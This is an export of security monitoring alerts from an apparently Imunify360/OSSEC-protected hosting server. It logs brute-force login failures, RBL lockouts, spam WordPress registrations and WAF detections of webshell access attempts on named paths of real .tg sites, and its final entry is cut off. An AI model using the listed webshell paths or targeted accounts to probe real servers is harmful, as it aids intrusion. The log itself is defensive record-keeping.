2026-06-06 01:25:24 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:53978: 535 Incorrect authentication data (set_id=accounting)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 106.13.7.239
country_id: 1814991
description:
Jun  6 01:26:57 ns5 pure-ftpd[2224514]: (?@106.13.7.239) [WARNING] Authentication failed for user [cafeit]


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.156.62.78
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-le-parlement-donne-quitus-au-gouvernement-pour-ratifier-le-traite-de-beijing-sur-les-interpretations-et-executions-audiovisuelles/||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.22
country_id: 3469034
description:
Jun  6 01:27:56 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.22 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.212.188.175
country_id: 2017370
description:
[2026-06-06 01:31:53 +0000] info [whostmgrd] 176.212.188.175 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 01:34:26 ns5 pure-ftpd[2230817]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.154
country_id: 3175395
description:
Jun  6 01:33:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.154 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 01:34:32 ns5 pure-ftpd[2230817]: (?@103.245.236.231) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-06 01:35:04 dovecot_plain authenticator failed for H=(l1yxptjbdep53j1sn63) [117.1.213.160]:58975: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.36
country_id: 3469034
description:
Jun  6 01:34:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun  6 01:35:02 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 14.224.208.48
country_id: 1562822
description:
2026-06-06 01:35:03 H=([14.224.208.48]) [14.224.208.48]:55901 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.45
country_id: 1814991
description:
27.115.124.45 - - [06/Jun/2026:01:36:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921876&pdata=http%253A%252F%252Fabttogo.com%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780709807 HTTP/1.1" 302 0 abttogo.com "http://abttogo.com:2082/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.45


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.186.135.126
country_id: 1814991
description:
2026-06-06 01:37:00 H=([39.186.135.126]) [39.186.135.126]:9023 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.109
country_id: 1814991
description:
27.115.124.109 - - [06/Jun/2026:01:37:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870232&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780709828 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.154.125
country_id: 953987
description:
Jun  6 01:39:39 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.154.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.154.125
country_id: 953987
description:
Jun  6 01:39:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.154.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.90.93.233
country_id: 6252001
domain: www.lasnb.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.48.152.148
country_id: 1814991
description:
2026-06-06 01:42:29 H=([0.0.0.0]) [119.48.152.148]:1927 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Exchange Your Web Wealth Prize eropolik.blogspot.hu W8||Email:ame1003020510@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-42.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.125.186.5
country_id: 130758
description:
2026-06-06 01:43:40 H=([5.125.186.5]) [5.125.186.5]:35718 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.208.164.118
country_id: 1835841
description:
Jun  6 01:44:18 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.208.164.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.208.164.118
country_id: 1835841
description:
2026-06-06 01:44:20 dovecot_plain authenticator failed for H=(encuriesse) [175.208.164.118]:35300: 535 Incorrect authentication data (set_id=admin@white-ways.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.201.196.82
country_id: 3469034
description:
Jun  6 01:45:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.201.196.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.111
country_id: 3469034
description:
Jun  6 01:46:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.125.186.5
country_id: 130758
description:
2026-06-06 01:47:34 H=([5.125.186.5]) [5.125.186.5]:35719 F=<John@4452.com> rejected RCPT <wellbloc@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.125.186.5
country_id: 130758
description:
2026-06-06 01:48:51 H=([5.125.186.5]) [5.125.186.5]:35720 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.0.130.200
country_id: 1522867
description:
2026-06-06 01:50:44 H=([188.0.130.200]) [188.0.130.200]:58458 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.225
country_id: 6252001
description:
2026-06-06 01:50:17 dovecot_plain authenticator failed for H=(1n8cno29uel6ljvbkge6h) [23.129.64.225]:57775: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-06-06 01:50:30 dovecot_login authenticator failed for H=([101.13.5.63]) [49.206.201.253]:46866: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.225
country_id: 6252001
description:
Jun  6 01:50:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.201.253
country_id: 1269750
description:
Jun  6 01:50:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.201.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.187.233.136
country_id: 1814991
description:
2026-06-06 01:50:29 H=([0.0.0.0]) [39.187.233.136]:39110 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 99.225.132.160
country_id: 6251999
description:
99.225.132.160 - - [06/Jun/2026:01:51:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262642&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-55513retidm41der.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780710663 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-55513retidm41der.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:99.225.132.160


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.137.26
country_id: 3469034
description:
2026-06-06 01:52:40 dovecot_login authenticator failed for H=([186.200.11.195]) [177.61.137.26]:53960: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.101.221
country_id: 6252001
description:
[2026-06-06 01:52:19 +0000] info [cpaneld] 82.40.101.221 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.61.137.26
country_id: 3469034
description:
Jun  6 01:52:38 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.61.137.26 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.230.179
country_id: 6252001
description:
[2026-06-06 01:53:04 +0000] info [cpaneld] 216.26.230.179 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.13
country_id: 933860
description:
Jun  6 01:55:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.144
country_id: 298795
description:
Jun  6 01:56:07 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.178.155.143
country_id: 1814991
description:
Jun  6 01:56:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.178.155.143 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.84
country_id: 6252001
description:
Jun  6 01:55:47 ns5 pure-ftpd[2245694]: (?@147.185.132.84) [INFO] New connection from 147.185.132.84


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.snbtogo.snb.tg
description:


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.snbt-togo.snb.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.13
country_id: 933860
description:
Jun  6 01:55:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.20
country_id: 3469034
description:
Jun  6 01:56:27 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.178.155.143
country_id: 1814991
description:
2026-06-06 01:56:17 dovecot_login authenticator failed for H=(95-165-84-70.dynamic.spd-mgts.ru) [116.178.155.143]:7831: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 221.224.194.3
country_id: 1814991
description:
Jun  6 01:58:25 ns5 pure-ftpd[2247632]: (?@221.224.194.3) [WARNING] Authentication failed for user [www-data]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 58.177.58.187
country_id: 1819730
description:
58.177.58.187 - - [06/Jun/2026:01:59:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117254&pdata=http%253A%252F%252Fhaplucia-togo.tg%252Fwp-admin%252Fcss%252Fcolors%252Fblue%252Fclasa99.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780711138 HTTP/1.1" 302 0 haplucia-togo.tg "http://haplucia-togo.tg/wp-admin/css/colors/blue/clasa99.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:58.177.58.187


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 02:00:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 02:00:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:57382: 535 Incorrect authentication data (set_id=accounting)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.135.217.214
country_id: 1522867
description:
2026-06-06 01:59:46 H=([2.135.217.214]) [2.135.217.214]:63507 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.19
country_id: 3175395
description:
Jun  6 02:04:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-05.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.135.217.214
country_id: 1522867
description:
2026-06-06 02:05:32 H=([2.135.217.214]) [2.135.217.214]:56763 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Royal Rod Funds bonotdamvam.blogspot.sk eW||Email:stevebarnett1980@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.208.83.128
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.251.51.41
country_id: 2542007
description:
2026-06-06 02:09:05 dovecot_plain authenticator failed for H=(p5c8j5fjr17r6m7ujv1e) [41.251.51.41]:26099: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 02:10:26 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 02:10:28 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:50900: 535 Incorrect authentication data (set_id=file)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.138.253.65
country_id: 6252001
description:
2026-06-06 02:11:09 dovecot_plain authenticator failed for H=65.253.138.34.bc.googleusercontent.com (ztyuiehbampapwzg16v3uf) [34.138.253.65]:48620: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.68
country_id: 690791
description:
Jun  6 02:11:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.141.70.213
country_id: 1814991
description:
Jun  6 02:12:22 ns5 pure-ftpd[2257507]: (?@113.141.70.213) [INFO] New connection from 113.141.70.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 113.141.70.213
country_id: 1814991
description:
Jun  6 02:12:28 ns5 pure-ftpd[2257507]: (?@113.141.70.213) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 02:17:59 ns5 pure-ftpd[2261198]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 02:18:04 ns5 pure-ftpd[2261198]: (?@103.245.236.231) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 02:21:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 02:21:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:53562: 535 Incorrect authentication data (set_id=file)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.41
country_id: 1269750
description:
Jun  6 02:22:23 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.115
country_id: 6252001
description:
Jun  6 02:25:12 ns5 pure-ftpd[2266173]: (?@147.185.132.115) [INFO] New connection from 147.185.132.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [06/Jun/2026:02:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105429&pdata=http%253A%252F%252Fwww.fdking.free.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780712877 HTTP/1.1" 302 0 www.fdking.free.netmaster.tg "http://www.fdking.free.netmaster.tg:2082/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Exchange Your Chief Extra vamvozmviigr.blogspot.in KU||Email:mjmatthews237@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-29.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 157.254.154.223
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/phoicdxb/public_html/wp-includes/SimplePie/library/acme-challenge/index.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77140740
name: IM360 WAF: Twenty shell abuse attempt
abuser: 157.254.154.223
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Twenty shell abuse attempt||MVN:REQUEST_HEADERS:Referer||WPU:||RSV:8.14||T:APACHE||MV:http://www.openurls.com.cn/||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
205.169.39.13 - - [06/Jun/2026:02:35:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999767&pdata=http%253A%252F%252Fsbvdn6.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780713342 HTTP/1.1" 302 0 sbvdn6.mediatopnews.tg "http://sbvdn6.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 157.254.154.223
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.14||T:APACHE||MV:/wp-admin/images/languages/index.php||SC:/home/phoicdxb/public_html/wp-admin/images/languages/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 157.254.154.223
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.14||T:APACHE||MV:/wp-admin/images/clasa99.php||SC:/home/phoicdxb/public_html/wp-admin/images/clasa99.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.118.14.218
country_id: 130758
description:
2026-06-06 02:36:49 H=([185.118.14.218]) [185.118.14.218]:6483 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 106.12.215.233
country_id: 1814991
description:
Jun  6 02:38:25 ns5 pure-ftpd[2276922]: (?@106.12.215.233) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 106.12.215.233
country_id: 1814991
description:
Jun  6 02:38:21 ns5 pure-ftpd[2276922]: (?@106.12.215.233) [INFO] New connection from 106.12.215.233


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 14.206.12.13
country_id: 1835841
description:
Jun  6 02:43:26 ns5 pure-ftpd[2280486]: (?@14.206.12.13) [WARNING] Authentication failed for user [soroubat]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.114.229
country_id: 6252001
description:
[2026-06-06 02:45:17 +0000] info [cpaneld] 82.40.114.229 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.106.31.178
country_id: 3617476
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/03/corona.jpg HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 139.59.5.68
country_id: 1269750
description:
Jun  6 02:50:05 ns5 pure-ftpd[2285007]: (?@139.59.5.68) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [06/Jun/2026:02:51:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001553&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780714289 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"205.169.39.46" CAPTCHA:"0" PEER:162.159.116.150


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 183.147.46.49
country_id: 1814991
description:
2026-06-06 02:52:16 H=([183.147.34.85]) [183.147.46.49]:58625 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:An Exclusive Reward Tailored for You sepoladi.blogspot.fr Lf||Email:kr896312@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.29
country_id: 3175395
description:
Jun  6 02:52:17 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-52.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.99.240.181
country_id: 2921044
description:
Jun  6 02:53:18 ns5 pure-ftpd[2287492]: (?@167.99.240.181) [INFO] New connection from 167.99.240.181


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 167.99.240.181
country_id: 2921044
description:
Jun  6 02:53:22 ns5 pure-ftpd[2287492]: (?@167.99.240.181) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.30.174
country_id: 226074
description:
Jun  6 02:58:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.30.174 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.62.157.75
country_id: 2750405
description:
[2026-06-06 03:00:58 +0000] info [cpaneld] 194.62.157.75 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 27.38.177.113
country_id: 1814991
description:
2026-06-06 03:05:46 H=([0.0.0.0]) [27.38.177.113]:3684 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.68.211.110
country_id: 1814991
description:
